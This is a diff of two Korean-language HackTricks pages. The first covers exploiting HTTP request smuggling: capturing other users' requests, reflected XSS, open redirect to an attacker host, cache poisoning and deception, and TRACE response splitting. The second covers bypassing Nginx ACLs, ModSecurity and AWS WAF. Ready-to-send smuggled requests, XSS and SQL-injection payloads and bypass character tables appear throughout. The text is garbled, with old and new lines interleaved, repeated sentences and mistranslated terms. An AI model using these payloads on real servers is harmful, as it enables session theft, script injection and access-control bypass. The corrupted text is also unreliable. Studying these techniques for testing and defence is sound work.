응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 백엔드 서버로 전달하기 전에 들어오는 요청을 수정합니다. 전형적인 수정 사항은 `X-Forwarded-For: <클라이언트의 IP>`와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드로 전달하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 장치를 우회하는 방법**이나 **숨겨진 정보나 엔드포인트를 발견하는 방법**을 드러낼 수 있기 때문에 중요할 수 있습니다.
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 반향하는 POST 매개변수를 찾으세요. 그런 다음, 다음과 유사한 방식으로 이 매개변수를 마지막에 사용하여 요청을 작성하세요:
```
@ -300,19 +316,19 @@ Content-Length: 100
search=
```
이 구조에서는 `search=` 이후에 후속 요청 구성 요소가 추가되며, 이는 응답에 반영된 매개변수입니다. 이 반영은 후 요청의 헤더를 노출시킵니다.
이 구조에서는 `search=` 이후에 이어지는 요청 구성 요소가 추가되며, 이는 응답에 반영된 매개변수입니다. 이 반영은 후 요청의 헤더를 노출시킵니다.
중첩된 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이와 일치시키는 것이 중요합니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 값이 너무 낮으면 반영된 데이터가 잘릴 수 있고, 값이 너무 높으면 요청이 오류가 발생할 수 있습니다.
중첩된 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이와 일치시키는 것이 중요합니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋으며, 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류가 발생할 수 있습니다.
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`로 종료되어야 합니다. 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
이 방법은 주로 프론트엔드 프록시에 의해 수행된 요청 수정을 이해하기 위한 것으로, 본질적으로 자체 조사를 수행합니다.
### 다른 사용자의 요청 캡처 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### 다른 사용자의 요청 캡처하기 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
POST 작업 중에 매개변수의 값으로 특정 요청을 추가함으로써 다음 사용자의 요청을 캡처하는 것이 가능합니다. 다음은 이를 수행하는 방법입니다:
다음 요청을 매개변수의 값으로 추가함으로써 후 클라이언트의 요청을 저장할 수 있습니다:
다음 요청을 매개변수의 값으로 추가함으로써 후 클라이언트의 요청을 저장할 수 있습니다:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -332,20 +348,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하는 데 사용됩니다. 결과적으로 후속 요청의 내용은 댓글로 표시됩니다.
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하는 데 사용됩니다. 따라서 후속 요청의 내용은 댓글로 표시됩니다.
그러나 이 기술에는 제한이 있습니다. 일반적으로, 이 기술은 주입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자`&` 문자입니다. 이는 희생자 사용자의 요청에서 캡처된 내용이 첫 번째 `&`에서 중지됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
그러나 이 기술에는 제한이 있습니다. 일반적으로, 이는 새로운 요청에서 사용된 매개변수 구분 기호까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분 기호`&` 문자입니다. 이는 희생자 사용자의 요청에서 캡처된 내용이 첫 번째 `&`에서 중지됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
추가로, TE.CL 취약점이 있는 경우에도 이 접근 방식이 유효합니다. 이러한 경우에는 요청이 `search=\r\n0`로 끝나야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
게다가, TE.CL 취약점이 있는 경우에도 이 접근 방식이 유효하다는 점을 강조해야 합니다. 이러한 경우에는 요청이 `search=\r\n0`로 끝나야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
### 반사 XSS를 악용하기 위해 HTTP 요청 스머글링 사용
### 반사된 XSS 취약점을 악용하기 위해 HTTP 요청 스머글링 사용
HTTP 요청 스머글링을 사용하면 **반사 XSS**에 취약한 웹 페이지를 악용할 수 있으며 다음과 같은 중요한 이점을 제공합니다:
HTTP 요청 스머글링을 사용하여 **반사된 XSS**에 취약한 웹 페이지를 악용할 수 있으며 다음과 같은 중요한 장점을 제공합니다:
* 대상 사용자와의 상호 작용이 **필요하지 않습니다**.
* 일반적으로 액세스할 수 없는 요청 부분에서 XSS를 악용할 수 있습니다. 예를 들어 HTTP 요청 헤더.
* 일반적으로 액세스할 수 없는 요청의 일부인 XSS를 악용할 수 있습니다. 예를 들어 HTTP 요청 헤더.
사용자 에이전트 헤더를 통해 반사 XSS에 취약한 웹 사이트의 시나리오에서 다음 payload는 이 취약점을 악용하는 방법을 보여줍니다:
사용자 에이전트 헤더를 통해 반사 XSS에 취약한 웹 사이트의 시나리오에서, 다음 payload는 이 취약점을 악용하는 방법을 보여줍니다:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -370,15 +386,13 @@ A=
1. `Transfer-Encoding: chunked` 헤더가 포함된 `POST` 요청을 시작하여 스머글링의 시작을 나타냅니다.
2. `0`을 포함하여 청크 메시지 본문의 끝을 표시합니다.
3. 그런 다음, 주입된 `<script>alert(1)</script>` 스크립트로 `User-Agent` 헤더가 포함된 스머글링된 `GET` 요청이 도입되어 서버가 이후 요청을 처리할 때 XSS를 트리거합니다.
3. 그런 다음, 스머글된 `GET` 요청이 도입되며, 이때 `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트가 삽입되어 서버가 이후 요청을 처리할 때 XSS를 트리거합니다.
`User-Agent`를 스머글링을 통해 조작함으로써, payload는 일반적인 요청 제약을 우회하여 Reflected XSS 취약점을 비표준이지만 효과적인 방식으로 악용합니다.
`User-Agent`를 스머글링을 통해 조작함으로써, payload는 일반적인 요청 제약을 우회하여 Reflected XSS 취약점을 비표준이지만 효과적인 방식으로 악용합니다.
### HTTP 요청 스머글링을 사용하여 온사이트 리디렉션을 오픈 리디렉션으로 변환하기 <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### HTTP 요청 스머글링을 통한 On-site Redirect 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### HTTP 요청 스머글링을 사용하여 온사이트 리디렉션 악용하기 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
응용 프로그램은 종종 리디렉션을 위해 `Host` 헤더의 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 슬래시가 누락된 폴더를 요청하면 슬래시를 포함한 리디렉션이 발생합니다:
애플리케이션은 종종 리다이렉트를 위해 `Host` 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리다이렉트합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 슬래시가 없는 폴더를 요청하면 슬래시를 포함한 리다이렉트가 발생합니다:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -388,7 +402,7 @@ Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
비록 해롭지 않아 보이지만, HTTP 요청 스머글링을 사용하여 사용자를 외부 사이트로 리디렉션하는 데 조작할 수 있습니다. 예를 들어:
비록 해롭지 않아 보이지만, HTTP 요청 스링을 사용하여 사용자를 외부 사이트로 리디렉션할 수 있습니다. 예를 들어:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -402,7 +416,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
다음 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리다이렉트될 수 있습니다:
다음 처리된 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션될 수 있도록 이번에 밀반입된 요청이 유발될 수 있습니다:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -414,17 +428,15 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
### HTTP 요청 스머글링을 사용하여 웹 캐시 독려 수행 <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
### HTTP 요청 스머글링을 통한 웹 캐시 오염 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTP 요청 스머글링을 통한 웹 캐시 독려 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
웹 캐시 오염은 **프런트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**하여 일반적으로 성능을 향상시키는 경우에 실행할 수 있습니다. 서버 응답을 조작함으로써 **캐시를 오염시킬 수 있습니다**.
웹 캐시 독려는 **프런트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**하여 일반적으로 성능을 향상시키는 경우에 실행할 수 있습니다. 서버 응답을 조작함으로써 **캐시를 독려**할 수 있습니다.
이전에 서버 응답이 변경되어 404 오류를 반환하는 것을 관찰했었습니다(자세한 내용은 [기본 예제](./#basic-examples)를 참조). 마찬가지로, 서버를 속여 `/static/include.js`를 요청한 경우에 `/index.html` 콘텐츠를 반환하도록 유도할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 `/index.html`의 콘텐츠로 캐시에 대체되어 사용자가 `/static/include.js`에 액세스할 수 없게 되어 서비스 거부(DoS)로 이어질 수 있습니다.
전에 서버 응답이 변경되어 404 오류를 반환하는 것을 관찰했습니다(자세한 내용은 [기본 예제](./#basic-examples)를 참조). 마찬가지로, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 콘텐츠를 반환하도록 유도할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 `/index.html`의 콘텐츠로 캐시에 대체되어 사용자가 `/static/include.js`에 액세스할 수 없게 되어 서비스 거부(DoS)로 이어질 수 있습니다.
기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 온사이트 리다이렉트**가 있는 경우 특히 강력해집니다. 이러한 취약점은 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체하여, 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 온사이트 리다이렉트**가 있는 경우 특히 강력해집니다. 이러한 취약점은 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체하여 모든 클라이언트에 대한 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
아래는 **캐시 독려과 온사이트 리다이렉트에서 오픈 리다이렉트를 결합한** 악용의 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 변경하여 제공하는 것입니다:
아래는 **캐시 오염과 온사이트 리다이렉트에서 오픈 리다이렉트를 결합한** 악용의 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 제공하도록 변경하는 것입니다:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -444,20 +456,12 @@ x=1
```
**HTTP 요청 스머글링을 사용하여 웹 캐시 속임수 수행**
/embedded 요청을 주목하세요. 이 요청은 `/post/next?postId=3`을 대상으로 합니다. 이 요청은 **Host 헤더 값**을 이용하여 도메인을 결정하고 `/post?postId=4`로 리디렉션됩니다. **Host 헤더**를 변경함으로써 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (**온사이트 리디렉트에서 오픈 리디렉트로**).
성공적인 **소켓 독려** 이후 `/static/include.js`에 대한 **GET 요청**을 시작해야 합니다. 이 요청은 이전 **온사이트 리디렉트에서 오픈 리디렉트로** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져올 것입니다.
이후, `/static/include.js`에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 실행할 수 있습니다.
### 웹 캐시 속임수를 수행하기 위해 HTTP 요청 스머글링 사용 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **웹 캐시 독려와 웹 캐시 속임수의 차이점은 무엇인가요?**
> **웹 캐시 독자와 웹 캐시 속임수의 차이점은 무엇인가?**
>
> * **웹 캐시 독려**에서, 공격자는 응용 프로그램에 악의적인 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠 캐시에서 다른 응용 프로그램 사용자에게 제공됩니다.
> * **웹 캐시 속임수**에서, 공격자는 응용 프로그램에 악의적인 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠가 캐시에서 다른 응용 프로그램 사용자에게 제공됩니다.
> * **웹 캐시 속임수**에서, 공격자는 응용 프로그램에 다른 사용자에게 속한 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 그런 다음 공격자는 이 콘텐츠를 캐시에서 검색합니다.
공격자는 민감한 사용자별 콘텐츠를 가져오는 스멀그 요청을 작성합니다. 다음 예를 고려하세요:
공격자는 민감한 사용자별 콘텐츠를 가져오는 스멀그 요청을 작성합니다. 다음 예를 고려하십시오:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -468,16 +472,99 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
만약 이 밀반입된 요청이 정적 콘텐츠를 위한 캐시 엔트리를 오염시킨다면 (예: `/someimage.png`), 피해자의 민감한 데이터인 `/private/messages`가 정적 콘텐츠의 캐시 엔트리 아래 캐싱될 수 있습니다. 결과적으로 공격자는 이러한 캐싱된 민감한 데이터를 검색할 수 있습니다.
만약 이번에 밀반입된 요청이 정적 콘텐츠를 위한 캐시 엔트리(예: `/someimage.png`)를 오염시킨다면, 피해자의 민감한 데이터인 `/private/messages`가 정적 콘텐츠의 캐시 엔트리 아래 캐싱될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있을 수 있습니다.
### HTTP 응담 비동기화를 이용한 HTTP 요청 밀반입 무기화
### HTTP 요청 스머글링을 통한 TRACE 남용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
HTTP 요청 밀반입 취약점을 발견했지만 이를 어떻게 악용해야 할지 모르겠다면 다른 악용 방법을 시도해보세요:
[**이 게시물**](https://portswigger.net/research/trace-desync-attack)에서는 서버가 TRACE 메서드를 활성화한 경우 HTTP 요청 스머글링을 통해 이를 남용할 수 있다고 제안합니다. 이는 이 메서드가 서버로 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
다음과 같은 응답을 보냅니다:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
이 동작을 악용하는 예는 **먼저 HEAD 요청을 숨겨 보내는 것**입니다. 이 요청은 GET 요청의 **헤더**만을 포함한 응답을 받게 됩니다 (**`Content-Type`** 포함). 그리고 **바로 다음에 TRACE 요청을 숨겨 보냅니다**. 이 요청은 보낸 데이터를 **반사할 것**입니다.\
HEAD 응답에는 `Content-Length` 헤더가 포함되어 있기 때문에, **TRACE 요청의 응답은 HEAD 응답의 본문으로 처리되어 임의의 데이터를 반사**하게 됩니다.\
이 응답은 연결을 통해 다음 요청으로 전송되므로, 예를 들어 캐시된 JS 파일에서 임의의 JS 코드를 삽입하는 데 **사용**할 수 있습니다.
### HTTP 응답 분할을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**이 게시물**](https://portswigger.net/research/trace-desync-attack)을 계속 따라가면 TRACE 메소드를 악용하는 또 다른 방법을 제안합니다. 언급된대로 HEAD 요청과 TRACE 요청을 숨겨 보내면, HEAD 요청에 대한 응답에서 **일부 반사된 데이터를 제어**할 수 있습니다. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며 TRACE 요청에 대한 응답으로 형성됩니다.
따라서, 이 Content-Length와 TRACE 응답에 포함된 데이터를 알면, TRACE 응답에 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답이 포함되도록 만들 수 있어 공격자가 다음 응답을 완전히 제어할 수 있게 됩니다 (캐시 독점을 수행하는 데 사용될 수 있음).
예시:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
다음은 이러한 응답을 생성합니다 (HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD 본문의 일부가 되고 HEAD Content-Length가 끝나면 유효한 HTTP 응답이 실립니다):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(arbitrary response)</script>
```
### HTTP 응담 비동기화를 이용한 HTTP 요청 스머글링 무기화
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용해야 할지 모르겠다면 다음 악용 방법을 시도해보세요:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
### 다른 HTTP 요청 스머글링 기술
* 브라우저 HTTP 요청 스머글링 (클라이언트 측)
{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}
* HTTP/2 다운그레이드에서의 요청 스머글링
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}
## Turbo intruder 스크립트
### CL.TE
@ -583,17 +670,18 @@ table.add(req)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **HackTricks에 귀사를 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>

View file

@ -2,30 +2,126 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
</details>
다음 페이지에서는 **HTTP 파서의 일관성을 악용하여 WAF를 우회하는 방법을 확인하세요: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
## 경로 이름 조작을 사용하여 Nginx ACL 규칙 우회 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
기술 [이 연구에서](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx 규칙 예시:
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
### **NodeJS - Express**
| Nginx Version | **Node.js Bypass Characters** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx Version | **Flask Bypass Characters** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx Version | **Spring Boot Bypass Characters** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Nginx FPM configuration:
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx는 `/admin.php`에 대한 액세스를 차단하도록 구성되어 있지만, `/admin.php/index.php`에 액세스하여 이를 우회할 수 있습니다.
### 방지 방법
```plaintext
location ~* ^/admin {
deny all;
}
```
## Mod Security 규칙 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### 경로 혼란
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3 (3.0.12 버전까지)이 `REQUEST_FILENAME` 변수를 부적절하게 구현했음을 설명했습니다. 이 변수는 액세스된 경로를 포함해야 했지만 (매개변수 시작까지), 경로를 가져 오기 위해 URL 디코딩을 수행했기 때문에 이 변수가 제대로 구현되지 않았습니다.\
따라서 Mod Security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 `%3f`가 URL 경로를 끝내는 `?`로 변환되어 경로가 `/foo`일 것으로 가정하지만, 실제로 서버가 받게 될 경로는 `/foo%3f';alert(1);foo=`가 됩니다.
변수 `REQUEST_BASENAME``PATH_INFO`도 이 버그의 영향을 받았습니다.
Mod Security의 버전 2에서도 비슷한 문제가 발생했는데, 이는 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스를 방지하는 보호 기능을 우회할 수 있었습니다 (예: `.bak`). 단순히 점을 URL 인코딩 된 `%2e`로 보내면 가능했습니다. 예를 들어: `https://example.com/backup%2ebak`.
## AWS WAF ACL 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### 형식이 잘못된 헤더
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)는 AWS WAF 규칙을 우회할 수 있었던 HTTP 헤더에 "형식이 잘못된" 헤더를 보내어 AWS에서는 제대로 구문 분석되지 않았지만 백엔드 서버에서는 구문 분석되는 방법으로 우회할 수 있었습니다.
예를 들어, 다음 요청을 SQL 인젝션을 포함한 헤더 X-Query로 보내는 것:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
AWS WAF를 우회하는 것이 가능했었는데, 이는 AWS WAF가 헤더 값의 다음 줄이 해당 값의 일부라는 것을 이해하지 못했기 때문이었습니다. 반면 NODEJS 서버는 이를 이해했었습니다 (해당 문제는 수정되었습니다).
## 참고 자료
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
